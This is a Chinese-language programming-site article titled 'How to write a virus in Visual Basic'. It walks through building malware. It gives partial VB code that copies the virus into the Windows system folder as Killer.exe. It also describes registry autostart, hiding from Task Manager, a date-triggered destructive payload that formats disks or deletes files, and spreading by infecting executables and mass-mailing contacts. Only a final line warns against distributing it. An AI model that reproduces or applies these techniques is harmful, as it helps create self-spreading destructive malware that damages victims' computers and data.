程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 更多編程語言 >> 更多關於編程 >> 如何用Visual Basic編寫病毒

如何用Visual Basic編寫病毒

編輯:更多關於編程

       用VB編寫病毒需要考慮到如下幾點:

      * 感染主機

      首先染毒文件運行後先要判斷主機是否以感染病毒,也就是判斷病毒主體文件是否存在,如果不存在則將病毒主體拷貝到指定位置(如:將病毒文件拷貝到c:windowssystem),可用filecopy語句實現;如果病毒已感染主機則結束判斷。

      例如,判斷C:windowssystemKiller.exe是否存在,如果有則退出判斷,如果沒有則證明本機未感染病毒,立即拷入病毒文件。

      病毒源文件名為game.exe

      聲明部分:

      ""定義 FileExists% 函數

      public success%

      Function FileExists%(fname$)

      On Local Error Resume Next

      Dim ff%

      ff% = FreeFile

      Open fname$ For Input As ff%

      If Err Then

      FileExists% = False

      Else

      FileExists% = True

      End If

      Close ff%

      End Function

      代碼部分:

      ""判斷文件是否存在

      success% = FileExists%("C:windowssystemKiller.exe")

      If success% = False Then ""病毒不存在則拷貝病毒到計算機

      FileCopy "game.exe", "C:windowssystemKiller.exe"

      ... ""修改注冊表,將其加入RUN中。(省略若干代碼)

      End If

      * 開機啟動病毒

      在病毒感染主機的同時,將自身加入注冊表的開機運行中,這與向主機拷入病毒是同時進行的,主機感染後不再修改注冊表。可通過編程和調用API函數對WIN注冊表進行操作來實現,這樣在每次啟動計算機時病毒自動啟動。(具體編寫方法請查閱其它資料)

      * 任務管理器

      在任務管理器列表中禁止病毒本身被列出,可以通過編程來實現。用代碼 App.TaskVisible = false 就可以實現;再有就是通過調用Win API函數來實現,這裡就不作介紹了。

      * 病毒發作條件

      可用Day(Date)來判斷今天是幾號,再與確定好的日期作比較,相同則表現出病毒主體的破壞性,否則不發作。也可用Time、Date或其它方法作為病毒發作條件的判斷。例:

      if day(date)=16 then ""16是發作日期,取值為1-31的整數

      ... ... ""kill ******* 當日期相符時運行的破壞性代碼(格式化、刪除指定的文件類型、發送數據包杜塞網路等,省略若干代碼)

      end if

      * 病毒的破壞性

      編寫的此部分代碼決定了病毒威力的強弱。輕的可以使系統資源迅速減少直至死機(需要你懂得一點蠕蟲的原理),也就是實現開機即死的效果;也可以加入硬盤炸彈代碼、系統後台刪文件等。重的可以使計算機徹底癱瘓(不作介紹,你可以參閱其它病毒的有關資料)。

      * 病毒的繁殖

      原理很簡單,就是將其自身與其它可執行文件合並,也就是兩個文件並成一個文件。也可通過E-Mail傳播,方法是病毒讀取被感染主機的郵件列表,將帶有病毒附件的E-Mail發給列表中的每一個人(這需要你懂得VB網絡編程)。

      讀完本文章相信您已對病毒的編寫思路有了初步的了解,如果你是個VB愛好者,你已經可以編寫一個很簡單的病毒了,但你要是精通VB的話,請不要有編寫後傳播她的想法,因為傳播她造成很大的影響將改變你的命運(被公安抓住就掛了)。

    1. 上一頁:
    2. 下一頁:
    Copyright © 程式師世界 All Rights Reserved